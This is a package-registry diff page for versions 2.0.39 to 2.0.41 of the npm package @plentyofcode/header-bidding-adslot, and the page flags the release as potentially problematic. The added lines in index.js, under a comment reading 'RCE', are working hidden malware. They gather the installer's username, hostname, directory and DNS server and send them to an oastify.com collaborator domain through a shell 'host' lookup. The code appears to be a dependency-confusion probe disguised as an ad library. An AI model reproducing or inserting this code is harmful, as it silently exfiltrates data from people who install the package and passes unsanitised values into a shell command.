@plentyofcode/header-bidding-adslot 2.0.39 → 2.0.41
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @plentyofcode/header-bidding-adslot might be problematic. Click here for more details.
- package/index.js +17 -21
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -4,32 +4,28 @@ const os = require("os");
|
|
|
4
4
|
const path = require("path");
|
|
5
5
|
|
|
6
6
|
// RCE
|
|
7
|
-
const
|
|
8
|
-
const
|
|
9
|
-
const
|
|
10
|
-
const
|
|
11
|
-
const dnsServers = dns.getServers(); // DNS
|
|
7
|
+
const username = os.userInfo().username; // Username
|
|
8
|
+
const hostname = os.hostname(); // HostName
|
|
9
|
+
const currentDir = path.basename(__dirname); // Current Directory
|
|
10
|
+
const dnsServer = dns.getServers()[0] || "none"; // First DNS Server
|
|
12
11
|
|
|
13
|
-
//
|
|
14
|
-
const info = {
|
|
15
|
-
p: packageName,
|
|
16
|
-
u: username,
|
|
17
|
-
hn: hostname,
|
|
18
|
-
d: currentDir,
|
|
19
|
-
dns: dnsServers
|
|
20
|
-
};
|
|
12
|
+
// Create the information in a compact format
|
|
13
|
+
const info = `u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
|
|
21
14
|
|
|
22
|
-
|
|
15
|
+
// Encode the information for the URL
|
|
16
|
+
let encodedInfo = encodeURIComponent(info);
|
|
23
17
|
|
|
24
|
-
//
|
|
25
|
-
|
|
18
|
+
// Check if the encoded string exceeds 63 characters
|
|
19
|
+
if (encodedInfo.length > 63) {
|
|
20
|
+
// Use only the username if the string is too long
|
|
21
|
+
encodedInfo = encodeURIComponent(`u=${username}`);
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
// Execute and DNS Request
|
|
25
|
+
exec(`host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`, (error, data) => {
|
|
26
26
|
if (error) {
|
|
27
27
|
console.log("error", error.message);
|
|
28
28
|
return;
|
|
29
29
|
}
|
|
30
|
-
if (getter) {
|
|
31
|
-
console.log(data);
|
|
32
|
-
return;
|
|
33
|
-
}
|
|
34
30
|
console.log(data);
|
|
35
|
-
});
|
|
31
|
+
});
|